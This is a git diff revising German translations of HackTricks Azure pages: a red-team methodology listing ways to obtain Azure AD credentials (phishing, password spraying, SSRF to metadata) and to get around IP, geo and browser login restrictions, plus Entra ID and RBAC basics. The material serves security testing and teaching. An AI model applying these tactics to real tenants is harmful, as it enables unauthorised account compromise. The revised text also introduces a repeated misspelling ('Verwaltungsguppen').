Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

2025-12-29 22:20:33 -08:00 · 2025-01-02 01:25:02 +00:00
parent c0ee8b41f2
commit ff7e659f3f
209 changed files with 1994 additions and 1989 deletions
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -10,13 +10,13 @@ az-basic-information/

 ## Azure Pentester/Red Team Methodik

-Um eine AZURE-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert** ist, wer **Zugriff** auf was hat und wie interne Azure-Dienste und **externe Dienste** verbunden sind.
+Um eine AZURE-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert wird**, wer **Zugriff** auf was hat und wie interne Azure-Dienste und **externe Dienste** verbunden sind.

-Aus der Sicht des Red Teams ist der **erste Schritt zur Kompromittierung einer Azure-Umgebung**, einige **Anmeldeinformationen** für Azure AD zu erhalten. Hier sind einige Ideen, wie man das machen kann:
+Aus der Sicht eines Red Teams ist der **erste Schritt, um eine Azure-Umgebung zu kompromittieren**, das Erhalten von **Anmeldeinformationen** für Azure AD. Hier sind einige Ideen, wie man das machen kann:

 - **Leaks** in github (oder ähnlichem) - OSINT
 - **Soziale** Ingenieurkunst
- **Passwort**-Wiederverwendung (Passwort-Leaks)
+- **Passwort**-Wiederverwendung (Passwortlecks)
 - Schwachstellen in Azure-gehosteten Anwendungen
 - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) mit Zugriff auf den Metadaten-Endpunkt
 - **Lokales Datei Lesen**
@@ -33,14 +33,14 @@ Verwenden Sie `Disconnect-AzAccount`, um sie zu entfernen.
 - [Gerätekodenauthentifizierungsphishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
 - [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)

-Selbst wenn Sie **keinen Benutzer** innerhalb des Azure-Mieters, den Sie angreifen, kompromittiert haben, können Sie **einige Informationen** daraus sammeln:
+Selbst wenn Sie **keinen Benutzer** innerhalb des Azure-Mandanten, den Sie angreifen, kompromittiert haben, können Sie **einige Informationen** daraus sammeln:

 {{#ref}}
 az-unauthenticated-enum-and-initial-entry/
 {{#endref}}

 > [!NOTE]
-> Nachdem Sie es geschafft haben, Anmeldeinformationen zu erhalten, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen:
+> Nachdem Sie Anmeldeinformationen erhalten haben, müssen Sie wissen, **wem diese Anmeldeinformationen gehören** und **auf was sie Zugriff haben**, daher müssen Sie einige grundlegende Aufzählungen durchführen:

 ## Grundlegende Aufzählung

@@ -49,7 +49,7 @@ az-unauthenticated-enum-and-initial-entry/

 ### SSRF

-Wenn Sie ein SSRF auf einer Maschine innerhalb von Azure gefunden haben, überprüfen Sie diese Seite auf Tricks:
+Wenn Sie ein SSRF auf einer Maschine innerhalb von Azure gefunden haben, überprüfen Sie diese Seite für Tricks:

 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -62,9 +62,9 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
 In Fällen, in denen Sie einige gültige Anmeldeinformationen haben, aber sich nicht anmelden können, sind dies einige gängige Schutzmaßnahmen, die vorhanden sein könnten:

 - **IP-Whitelist** -- Sie müssen eine gültige IP kompromittieren
- **Geo-Beschränkungen** -- Finden Sie heraus, wo der Benutzer lebt oder wo die Büros des Unternehmens sind, und erhalten Sie eine IP aus derselben Stadt (oder zumindest demselben Land)
+- **Geo-Beschränkungen** -- Finden Sie heraus, wo der Benutzer lebt oder wo sich die Büros des Unternehmens befinden, und erhalten Sie eine IP aus derselben Stadt (oder zumindest demselben Land)
 - **Browser** -- Vielleicht ist nur ein Browser von einem bestimmten OS (Windows, Linux, Mac, Android, iOS) erlaubt. Finden Sie heraus, welches OS das Opfer/das Unternehmen verwendet.
- Sie können auch versuchen, **Service Principal-Anmeldeinformationen** zu kompromittieren, da diese normalerweise weniger eingeschränkt sind und ihr Login weniger überprüft wird.
+- Sie können auch versuchen, **Service Principal-Anmeldeinformationen** zu kompromittieren, da diese normalerweise weniger eingeschränkt sind und deren Anmeldung weniger überprüft wird.

 Nachdem Sie dies umgangen haben, sollten Sie in der Lage sein, zu Ihrem ursprünglichen Setup zurückzukehren und weiterhin Zugriff zu haben.

@@ -120,7 +120,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
 {{#endtabs }}

 > [!CAUTION]
-> Eines der wichtigsten Befehle zur Auflistung von Azure ist **`Get-AzResource`** von Az PowerShell, da er Ihnen **zeigt, über welche Ressourcen Ihr aktueller Benutzer Sichtbarkeit hat**.
+> Eines der wichtigsten Befehle zur Auflistung von Azure ist **`Get-AzResource`** aus Az PowerShell, da er Ihnen **zeigt, über welche Ressourcen Ihr aktueller Benutzer Sichtbarkeit hat**.
 >
 > Sie können die gleichen Informationen in der **Webkonsole** erhalten, indem Sie zu [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) gehen oder nach "Alle Ressourcen" suchen.

--- a/src/pentesting-cloud/azure-security/az-basic-information/README.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md
@@ -6,23 +6,23 @@

 <figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUcVrh1BpuQXN7RzGqoxrn-4Nm_sjdJU-dDTvshloB7UMQnN1mtH9N94zNiPCzOYAqE9EsJqlboZOj47tQsQktjxszpKvIDPZLs9rgyiObcZCvl7N0ZWztshR0ZddyBYZIAwPIkrEQ=s2048?key=l3Eei079oPmVJuh8lxQYxxrB" alt=""><figcaption><p><a href="https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png">https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png</a></p></figcaption></figure>

-### Verwaltungsgruppen
+### Verwaltungsguppen

- Sie kann **andere Verwaltungsgruppen oder Abonnements** enthalten.
- Dies ermöglicht es, **Governance-Kontrollen** wie RBAC und Azure Policy einmal auf der Ebene der Verwaltungsgruppe anzuwenden und sie von allen Abonnements in der Gruppe **zu erben**.
- **10.000 Verwaltungs**gruppen können in einem einzigen Verzeichnis unterstützt werden.
- Ein Verwaltungsgruppengeäst kann **bis zu sechs Ebenen tief** sein. Diese Grenze schließt die Wurzelebene oder die Abonnementebene nicht ein.
- Jede Verwaltungsgruppe und jedes Abonnement kann **nur einen Elternteil** unterstützen.
- Auch wenn mehrere Verwaltungsgruppen erstellt werden können, gibt es **nur 1 Wurzelverwaltungsgruppe**.
- Die Wurzelverwaltungsgruppe **enthält** alle **anderen Verwaltungsgruppen und Abonnements** und **kann nicht verschoben oder gelöscht werden**.
- Alle Abonnements innerhalb einer einzigen Verwaltungsgruppe müssen dem **gleichen Entra ID-Mandanten vertrauen.**
+- Sie können **andere Verwaltungsguppen oder Abonnements** enthalten.
+- Dies ermöglicht es, **Governance-Kontrollen** wie RBAC und Azure Policy einmal auf der Ebene der Verwaltungsguppe anzuwenden und sie von allen Abonnements in der Gruppe **zu erben**.
+- **10.000 Verwaltungsguppen** können in einem einzigen Verzeichnis unterstützt werden.
+- Ein Verwaltungsgruppenbaum kann **bis zu sechs Ebenen tief** sein. Diese Grenze schließt die Wurzelebene oder die Abonnementebene nicht ein.
+- Jede Verwaltungsguppe und jedes Abonnement kann **nur einen Elternteil** unterstützen.
+- Auch wenn mehrere Verwaltungsguppen erstellt werden können, gibt es **nur 1 Wurzelverwaltungsguppe**.
+- Die Wurzelverwaltungsguppe **enthält** alle **anderen Verwaltungsguppen und Abonnements** und **kann nicht verschoben oder gelöscht werden**.
+- Alle Abonnements innerhalb einer einzigen Verwaltungsguppe müssen dem **gleichen Entra ID-Mandanten** vertrauen.

 <figure><img src="../../../images/image (147).png" alt=""><figcaption><p><a href="https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png">https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png</a></p></figcaption></figure>

 ### Azure-Abonnements

 - Es ist ein weiterer **logischer Container, in dem Ressourcen** (VMs, DBs…) ausgeführt werden können und abgerechnet werden.
- Sein **Elternteil** ist immer eine **Verwaltungsgruppe** (und es kann die Wurzelverwaltungsgruppe sein), da Abonnements keine anderen Abonnements enthalten können.
+- Sein **Elternteil** ist immer eine **Verwaltungsguppe** (und es kann die Wurzelverwaltungsguppe sein), da Abonnements keine anderen Abonnements enthalten können.
 - Es **vertraut nur einem Entra ID**-Verzeichnis.
 - **Berechtigungen**, die auf der Abonnementebene (oder einer seiner Eltern) angewendet werden, werden **auf alle Ressourcen innerhalb des Abonnements vererbt**.

@@ -30,7 +30,7 @@

 [Aus den Dokumenten:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Eine Ressourcengruppe ist ein **Container**, der **verwandte Ressourcen** für eine Azure-Lösung enthält. Die Ressourcengruppe kann alle Ressourcen für die Lösung oder nur die **Ressourcen, die Sie als Gruppe verwalten möchten**, umfassen. Im Allgemeinen fügen Sie **Ressourcen** hinzu, die den **gleichen Lebenszyklus** teilen, zur gleichen Ressourcengruppe hinzu, damit Sie sie einfach als Gruppe bereitstellen, aktualisieren und löschen können.

-Alle **Ressourcen** müssen **innerhalb einer Ressourcengruppe** sein und können nur zu einer Gruppe gehören, und wenn eine Ressourcengruppe gelöscht wird, werden auch alle Ressourcen darin gelöscht.
+Alle **Ressourcen** müssen **innerhalb einer Ressourcengruppe** sein und können nur zu einer Gruppe gehören. Wenn eine Ressourcengruppe gelöscht wird, werden auch alle Ressourcen darin gelöscht.

 <figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfe8U30iP_vdZCvxX4g8nEPRLoo7v0kmCGkDn1frBPn3_GIoZ7VT2LkdsVQWCnrG_HSYNRRPM-1pSECUkbDAB-9YbUYLzpvKVLDETZS81CHWKYM4fDl3oMo5-yvTMnjdLTS2pz8U67xUTIzBhZ25MFMRkq5koKY=s2048?key=gSyKQr3HTyhvHa28Rf7LVA" alt=""><figcaption><p><a href="https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&#x26;ssl=1">https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&#x26;ssl=1</a></p></figcaption></figure>

@@ -42,7 +42,7 @@ Das Format einer Azure-Ressourcen-ID ist wie folgt:

 - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}`

-Für eine virtuelle Maschine mit dem Namen myVM in einer Ressourcengruppe `myResourceGroup` unter der Abonnement-ID `12345678-1234-1234-1234-123456789012` sieht die Azure-Ressourcen-ID wie folgt aus:
+Für eine virtuelle Maschine mit dem Namen myVM in einer Ressourcengruppe `myResourceGroup` unter der Abonnement-ID `12345678-1234-1234-1234-123456789012` sieht die Azure-Ressourcen-ID so aus:

 - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM`

@@ -69,11 +69,11 @@ Entra-Domänendienste erweitern die Funktionen von Entra ID, indem sie **verwalt
 - Anzeigename angeben
 - Passwort angeben
 - Eigenschaften angeben (Vorname, Berufsbezeichnung, Kontaktinformationen…)
- Der Standardbenutzertyp ist „**Mitglied**“
+- Standardbenutzertyp ist „**Mitglied**“
 - **Externe Benutzer**
 - E-Mail angeben, um einzuladen, und Anzeigename (kann eine Nicht-Microsoft-E-Mail sein)
 - Eigenschaften angeben
- Der Standardbenutzertyp ist „**Gast**“
+- Standardbenutzertyp ist „**Gast**“

 ### Standardberechtigungen für Mitglieder & Gäste

@@ -85,7 +85,7 @@ Sie können sie in [https://learn.microsoft.com/en-us/entra/fundamentals/users-d
 - Nicht versteckte Gruppenmitgliedschaften lesen
 - Gäste zu eigenen Gruppen hinzufügen
 - Neue Anwendung erstellen (_kann deaktiviert werden_)
- Bis zu 50 Geräte in Azure hinzufügen (_kann deaktiviert werden_)
+- Bis zu 50 Geräte zu Azure hinzufügen (_kann deaktiviert werden_)

 > [!NOTE]
 > Denken Sie daran, dass der Benutzer eine ausdrückliche Genehmigung für die Berechtigung benötigt, um Azure-Ressourcen aufzulisten.
@@ -94,26 +94,26 @@ Sie können sie in [https://learn.microsoft.com/en-us/entra/fundamentals/users-d

 - **Mitglieder (**[**Dokumente**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)**
 - Anwendungen registrieren: Standard **Ja**
- Einschränkung nicht administrativer Benutzer bei der Erstellung von Mandanten: Standard **Nein**
+- Einschränkung nicht-administrativer Benutzer bei der Erstellung von Mandanten: Standard **Nein**
 - Sicherheitsgruppen erstellen: Standard **Ja**
 - Zugriff auf das Microsoft Entra-Verwaltungsportal einschränken: Standard **Nein**
 - Dies schränkt den API-Zugriff auf das Portal nicht ein (nur Web)
 - Benutzern erlauben, Arbeits- oder Schulkonten mit LinkedIn zu verknüpfen: Standard **Ja**
 - Benutzer angemeldet halten: Standard **Ja**
- Benutzern die Wiederherstellung des BitLocker-Schlüssels für ihre eigenen Geräte verweigern: Standard Nein (Überprüfung in den Geräteeinstellungen)
+- Benutzern die Wiederherstellung des BitLocker-Schlüssels für ihre eigenen Geräte verweigern: Standard **Nein** (Überprüfung in den Geräteeinstellungen)
 - Andere Benutzer lesen: Standard **Ja** (über Microsoft Graph)
 - **Gäste**
 - **Einschränkungen für den Zugriff von Gastbenutzern**
- **Gastbenutzer haben den gleichen Zugriff wie Mitglieder** gewährt allen Mitgliedsbenutzern standardmäßig die Berechtigungen für Gastbenutzer.
- **Gastbenutzer haben eingeschränkten Zugriff auf Eigenschaften und Mitgliedschaften von Verzeichnisobjekten (Standard)** schränkt den Zugriff von Gästen standardmäßig nur auf ihr eigenes Benutzerprofil ein. Der Zugriff auf Informationen anderer Benutzer und Gruppen ist nicht mehr erlaubt.
- **Der Zugriff von Gastbenutzern ist auf Eigenschaften und Mitgliedschaften ihrer eigenen Verzeichnisobjekte beschränkt** ist die restriktivste.
+- **Gastbenutzer haben den gleichen Zugriff wie Mitglieder**, gewährt standardmäßig allen Mitgliedsbenutzern Berechtigungen für Gastbenutzer.
+- **Gastbenutzer haben eingeschränkten Zugriff auf Eigenschaften und Mitgliedschaften von Verzeichnisobjekten (Standard)**, schränkt den Zugriff von Gästen standardmäßig nur auf ihr eigenes Benutzerprofil ein. Der Zugriff auf Informationen anderer Benutzer und Gruppen ist nicht mehr erlaubt.
+- **Der Zugriff von Gastbenutzern ist auf Eigenschaften und Mitgliedschaften ihrer eigenen Verzeichnisobjekte beschränkt**, ist die restriktivste.
 - **Gäste können einladen**
 - **Jeder in der Organisation kann Gastbenutzer einladen, einschließlich Gäste und Nicht-Administratoren (am inklusivsten) - Standard**
 - **Mitglieder und Benutzer, die bestimmten Administrationsrollen zugewiesen sind, können Gastbenutzer einladen, einschließlich Gäste mit Mitgliedsberechtigungen**
 - **Nur Benutzer, die bestimmten Administrationsrollen zugewiesen sind, können Gastbenutzer einladen**
 - **Niemand in der Organisation kann Gastbenutzer einladen, einschließlich Administratoren (am restriktivsten)**
 - **Externe Benutzer verlassen**: Standard **Wahr**
- Externe Benutzer dürfen die Organisation verlassen
+- Externen Benutzern erlauben, die Organisation zu verlassen

 > [!TIP]
 > Auch wenn standardmäßig eingeschränkt, könnten Benutzer (Mitglieder und Gäste) mit erteilten Berechtigungen die vorherigen Aktionen ausführen.
@@ -133,7 +133,7 @@ Es gibt **2 Arten von Mitgliedschaften**:

 ### **Dienstprinzipale**

-Ein **Dienstprinzipal** ist eine **Identität**, die für die **Nutzung** mit **Anwendungen**, gehosteten Diensten und automatisierten Tools zur Zugriff auf Azure-Ressourcen erstellt wurde. Dieser Zugriff ist **durch die zugewiesenen Rollen** für den Dienstprinzipal eingeschränkt, was Ihnen die Kontrolle darüber gibt, **auf welche Ressourcen zugegriffen werden kann** und auf welcher Ebene. Aus Sicherheitsgründen wird immer empfohlen, **Dienstprinzipale mit automatisierten Tools zu verwenden**, anstatt ihnen zu erlauben, sich mit einer Benutzeridentität anzumelden.
+Ein **Dienstprinzipal** ist eine **Identität**, die für die **Nutzung** mit **Anwendungen**, gehosteten Diensten und automatisierten Tools zur Zugriff auf Azure-Ressourcen erstellt wurde. Dieser Zugriff ist **durch die zugewiesenen Rollen** des Dienstprinzipals eingeschränkt, was Ihnen die Kontrolle darüber gibt, **auf welche Ressourcen zugegriffen werden kann** und auf welcher Ebene. Aus Sicherheitsgründen wird immer empfohlen, **Dienstprinzipale mit automatisierten Tools zu verwenden**, anstatt ihnen zu erlauben, sich mit einer Benutzeridentität anzumelden.

 Es ist möglich, sich **direkt als Dienstprinzipal anzumelden**, indem man ihm ein **Geheimnis** (Passwort), ein **Zertifikat** oder **föderierten** Zugriff auf Drittanbieterplattformen (z. B. Github Actions) gewährt.

@@ -148,7 +148,7 @@ Eine **App-Registrierung** ist eine Konfiguration, die es einer Anwendung ermög

 1. **Anwendungs-ID (Client-ID):** Eine eindeutige Kennung für Ihre App in Azure AD.
 2. **Umleitungs-URIs:** URLs, an die Azure AD Authentifizierungsantworten sendet.
-3. **Zertifikate, Geheimnisse & Föderierte Anmeldeinformationen:** Es ist möglich, ein Geheimnis oder ein Zertifikat zu generieren, um sich als Dienstprinzipal der Anwendung anzumelden oder um ihr föderierten Zugriff zu gewähren (z. B. Github Actions).&#x20;
+3. **Zertifikate, Geheimnisse & föderierte Anmeldeinformationen:** Es ist möglich, ein Geheimnis oder ein Zertifikat zu generieren, um sich als Dienstprinzipal der Anwendung anzumelden oder um föderierten Zugriff darauf zu gewähren (z. B. Github Actions).&#x20;
 1. Wenn ein **Zertifikat** oder **Geheimnis** generiert wird, ist es einer Person möglich, sich **als Dienstprinzipal** mit CLI-Tools anzumelden, indem sie die **Anwendungs-ID**, das **Geheimnis** oder **Zertifikat** und den **Mandanten** (Domäne oder ID) kennt.
 4. **API-Berechtigungen:** Gibt an, auf welche Ressourcen oder APIs die App zugreifen kann.
 5. **Authentifizierungseinstellungen:** Definiert die unterstützten Authentifizierungsflüsse der App (z. B. OAuth2, OpenID Connect).
@@ -157,47 +157,47 @@ Eine **App-Registrierung** ist eine Konfiguration, die es einer Anwendung ermög

 ### Standardzustimmungsberechtigungen

-**Benutzerzustimmung für Anwendungen**
+**Benutzereinwilligung für Anwendungen**

- **Benutzerzustimmung nicht zulassen**
+- **Benutzereinwilligung nicht zulassen**
 - Ein Administrator wird für alle Apps erforderlich sein.
- **Benutzerzustimmung für Apps von verifizierten Herausgebern für ausgewählte Berechtigungen zulassen (Empfohlen)**
- Alle Benutzer können für Berechtigungen zustimmen, die als "geringfügig" eingestuft sind, für Apps von verifizierten Herausgebern oder Apps, die in dieser Organisation registriert sind.
+- **Benutzereinwilligung für Apps von verifizierten Herausgebern für ausgewählte Berechtigungen zulassen (Empfohlen)**
+- Alle Benutzer können für Berechtigungen, die als "geringfügig" eingestuft sind, für Apps von verifizierten Herausgebern oder Apps, die in dieser Organisation registriert sind, zustimmen.
 - **Standard** geringfügige Berechtigungen (obwohl Sie zustimmen müssen, um sie als geringfügig hinzuzufügen):
- User.Read - anmelden und Benutzerprofil lesen
+- User.Read - Anmelden und Benutzerprofil lesen
 - offline_access - Zugriff auf Daten aufrechterhalten, auf die Benutzer Zugriff gewährt haben
 - openid - Benutzer anmelden
- profile - grundlegendes Benutzerprofil anzeigen
+- profile - Grundlegendes Benutzerprofil anzeigen
 - email - E-Mail-Adresse des Benutzers anzeigen
- **Benutzerzustimmung für Apps zulassen (Standard)**
+- **Benutzereinwilligung für Apps zulassen (Standard)**
 - Alle Benutzer können für jede App zustimmen, um auf die Daten der Organisation zuzugreifen.

 **Anfragen zur Zustimmung des Administrators**: Standard **Nein**

- Benutzer können die Zustimmung des Administrators für Apps anfordern, für die sie nicht zustimmen können
- Wenn **Ja**: Es ist möglich, Benutzer, Gruppen und Rollen anzugeben, die Anfragen zustimmen können
- Konfigurieren Sie auch, ob Benutzer E-Mail-Benachrichtigungen und Ablaufbenachrichtigungen erhalten&#x20;
+- Benutzer können die Zustimmung des Administrators für Apps anfordern, für die sie nicht zustimmen können.
+- Wenn **Ja**: Es ist möglich, Benutzer, Gruppen und Rollen anzugeben, die Anfragen zustimmen können.
+- Konfigurieren Sie auch, ob Benutzer E-Mail-Benachrichtigungen und Ablaufbenachrichtigungen erhalten.

 ### **Verwaltete Identität (Metadaten)**

-Verwaltete Identitäten in Azure Active Directory bieten eine Lösung zur **automatischen Verwaltung der Identität** von Anwendungen. Diese Identitäten werden von Anwendungen verwendet, um sich mit **Ressourcen** zu verbinden, die mit der Azure Active Directory (**Azure AD**) Authentifizierung kompatibel sind. Dies ermöglicht es, die **Notwendigkeit der Hardcodierung von Cloud-Anmeldeinformationen** im Code zu entfernen, da die Anwendung in der Lage ist, den **Metadaten**-Dienst zu kontaktieren, um ein gültiges Token zu erhalten, um **Aktionen** als die angegebene verwaltete Identität in Azure auszuführen.
+Verwaltete Identitäten in Azure Active Directory bieten eine Lösung zur **automatischen Verwaltung der Identität** von Anwendungen. Diese Identitäten werden von Anwendungen verwendet, um sich mit **Ressourcen** zu verbinden, die mit der Azure Active Directory (**Azure AD**) Authentifizierung kompatibel sind. Dies ermöglicht es, die Notwendigkeit, Cloud-Anmeldeinformationen im Code festzulegen, zu **entfernen**, da die Anwendung in der Lage sein wird, den **Metadaten**-Dienst zu kontaktieren, um ein gültiges Token zu **erhalten**, um Aktionen als die angegebene verwaltete Identität in Azure auszuführen.

 Es gibt zwei Arten von verwalteten Identitäten:

- **Systemzugewiesen**. Einige Azure-Dienste ermöglichen es Ihnen, eine verwaltete Identität direkt auf einer Dienstinstanz **zu aktivieren**. Wenn Sie eine systemzugewiesene verwaltete Identität aktivieren, wird ein **Dienstprinzipal** im Entra ID-Mandanten erstellt, dem das Abonnement, in dem sich die Ressource befindet, vertraut. Wenn die **Ressource** **gelöscht** wird, löscht Azure automatisch die **Identität** für Sie.
+- **Systemzugewiesen**. Einige Azure-Dienste ermöglichen es Ihnen, eine verwaltete Identität direkt auf einer Dienstinstanz **zu aktivieren**. Wenn Sie eine systemzugewiesene verwaltete Identität aktivieren, wird ein **Dienstprinzipal** im Entra ID-Mandanten erstellt, der von dem Abonnement, in dem sich die Ressource befindet, vertraut wird. Wenn die **Ressource** **gelöscht** wird, löscht Azure automatisch die **Identität** für Sie.
 - **Benutzerzugewiesen**. Es ist auch möglich, dass Benutzer verwaltete Identitäten generieren. Diese werden innerhalb einer Ressourcengruppe innerhalb eines Abonnements erstellt, und ein Dienstprinzipal wird im EntraID erstellt, dem das Abonnement vertraut. Dann können Sie die verwaltete Identität einer oder **mehreren Instanzen** eines Azure-Dienstes (mehrere Ressourcen) zuweisen. Bei benutzerzugewiesenen verwalteten Identitäten wird die **Identität separat von den Ressourcen verwaltet, die sie verwenden**.

-Verwaltete Identitäten **erzeugen keine ewigen Anmeldeinformationen** (wie Passwörter oder Zertifikate), um auf den daran angehängten Dienstprinzipal zuzugreifen.
+Verwaltete Identitäten **erzeugen keine ewigen Anmeldeinformationen** (wie Passwörter oder Zertifikate), um auf den angehängten Dienstprinzipal zuzugreifen.

 ### Unternehmensanwendungen

 Es ist einfach eine **Tabelle in Azure, um Dienstprinzipale zu filtern** und die Anwendungen zu überprüfen, die zugewiesen wurden.

-**Es ist kein anderer Typ von „Anwendung“,** es gibt kein Objekt in Azure, das eine „Unternehmensanwendung“ ist, es ist nur eine Abstraktion, um die Dienstprinzipale, App-Registrierungen und verwalteten Identitäten zu überprüfen.
+**Es ist kein anderer Typ von „Anwendung“**, es gibt kein Objekt in Azure, das eine „Unternehmensanwendung“ ist, es ist nur eine Abstraktion, um die Dienstprinzipale, App-Registrierungen und verwalteten Identitäten zu überprüfen.

 ### Verwaltungseinheiten

-Verwaltungseinheiten ermöglichen es, **Berechtigungen aus einer Rolle über einen bestimmten Teil einer Organisation zu gewähren**.
+Verwaltungseinheiten ermöglichen es, **Berechtigungen von einer Rolle über einen bestimmten Teil einer Organisation zu gewähren**.

 Beispiel:

@@ -205,50 +205,50 @@ Beispiel:
 - Implementierung:
 - Erstellen Sie Verwaltungseinheiten für jede Region (z. B. "Nordamerika AU", "Europa AU").
 - Füllen Sie AUs mit Benutzern aus ihren jeweiligen Regionen.
- AUs können **Benutzer, Gruppen oder Geräte enthalten**
- AUs unterstützen **dynamische Mitgliedschaften**
- AUs **können keine AUs enthalten**
- Administratorrollen zuweisen:
- Gewähren Sie dem regionalen IT-Personal die Rolle "Benutzeradministrator", die auf die AU ihrer Region beschränkt ist.
+- AUs können **Benutzer, Gruppen oder Geräte enthalten**.
+- AUs unterstützen **dynamische Mitgliedschaften**.
+- AUs **können keine AUs enthalten**.
+- Zuweisen von Administrationsrollen:
+- Gewähren Sie dem regionalen IT-Personal die Rolle „Benutzeradministrator“, die auf die AU ihrer Region beschränkt ist.
 - Ergebnis: Regionale IT-Administratoren können Benutzerkonten innerhalb ihrer Region verwalten, ohne andere Regionen zu beeinträchtigen.

 ### Entra ID-Rollen

- Um Entra ID zu verwalten, gibt es einige **integrierte Rollen**, die Entra ID-Prinzipalen zugewiesen werden können, um Entra ID zu verwalten.
- Überprüfen Sie die Rollen in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
- Die privilegierteste Rolle ist **Global Administrator**
+- Um Entra ID zu verwalten, gibt es einige **vordefinierte Rollen**, die Entra ID-Prinzipalen zugewiesen werden können, um Entra ID zu verwalten.
+- Überprüfen Sie die Rollen in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference).
+- Die privilegierteste Rolle ist **Global Administrator**.
 - In der Beschreibung der Rolle sind ihre **detaillierten Berechtigungen** zu sehen.

 ## Rollen & Berechtigungen

 **Rollen** werden **Prinzipalen** auf einem **Bereich** zugewiesen: `principal -[HAS ROLE]->(scope)`

-**Rollen**, die Gruppen zugewiesen sind, werden von allen **Mitgliedern** der Gruppe **vererbt**.
+**Rollen**, die **Gruppen** zugewiesen sind, werden von allen **Mitgliedern** der Gruppe **vererbt**.

 Je nach dem Bereich, dem die Rolle zugewiesen wurde, kann die **Rolle** auf **andere Ressourcen** innerhalb des Bereichscontainers **vererbt** werden. Zum Beispiel, wenn ein Benutzer A eine **Rolle im Abonnement** hat, hat er diese **Rolle in allen Ressourcengruppen** innerhalb des Abonnements und auf **allen Ressourcen** innerhalb der Ressourcengruppe.

 ### **Klassische Rollen**

-| **Besitzer**                     | <ul><li>Vollzugriff auf alle Ressourcen</li><li>Kann den Zugriff für andere Benutzer verwalten</li></ul> | Alle Ressourcentypen |
+| **Besitzer**                  | <ul><li>Vollzugriff auf alle Ressourcen</li><li>Kann den Zugriff für andere Benutzer verwalten</li></ul> | Alle Ressourcentypen |
 | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
-| **Mitwirkender**               | <ul><li>Vollzugriff auf alle Ressourcen</li><li>Kann den Zugriff nicht verwalten</li></ul>              | Alle Ressourcentypen |
-| **Leser**                    | • Alle Ressourcen anzeigen                                                                     | Alle Ressourcentypen |
+| **Mitwirkender**              | <ul><li>Vollzugriff auf alle Ressourcen</li><li>Kann den Zugriff nicht verwalten</li></ul>              | Alle Ressourcentypen |
+| **Leser**                     | • Alle Ressourcen anzeigen                                                                     | Alle Ressourcentypen |
 | **Benutzerzugriffsadministrator** | <ul><li>Alle Ressourcen anzeigen</li><li>Kann den Zugriff für andere Benutzer verwalten</li></ul>           | Alle Ressourcentypen |

 ### Eingebaute Rollen

-[Aus den Dokumenten: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure-Rollenbasierte Zugriffskontrolle (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) hat mehrere Azure **eingebaute Rollen**, die Sie **Benutzern, Gruppen, Dienstprinzipalen und verwalteten Identitäten** zuweisen können. Rollenzuweisungen sind der Weg, wie Sie **Zugriff auf Azure-Ressourcen** steuern. Wenn die integrierten Rollen nicht den spezifischen Bedürfnissen Ihrer Organisation entsprechen, können Sie Ihre eigenen [**Azure benutzerdefinierten Rollen**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** erstellen.**
+[Aus den Dokumenten: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure-Rollenbasierte Zugriffskontrolle (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) hat mehrere Azure **vordefinierte Rollen**, die Sie **Benutzern, Gruppen, Dienstprinzipalen und verwalteten Identitäten** zuweisen können. Rollenzuweisungen sind der Weg, wie Sie **Zugriff auf Azure-Ressourcen** steuern. Wenn die vordefinierten Rollen nicht den spezifischen Bedürfnissen Ihrer Organisation entsprechen, können Sie Ihre eigenen [**Azure benutzerdefinierten Rollen**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)** erstellen.**

-**Eingebaute** Rollen gelten nur für die **Ressourcen**, für die sie **bestimmt** sind, zum Beispiel überprüfen Sie diese 2 Beispiele für **eingebaute Rollen über Compute**-Ressourcen:
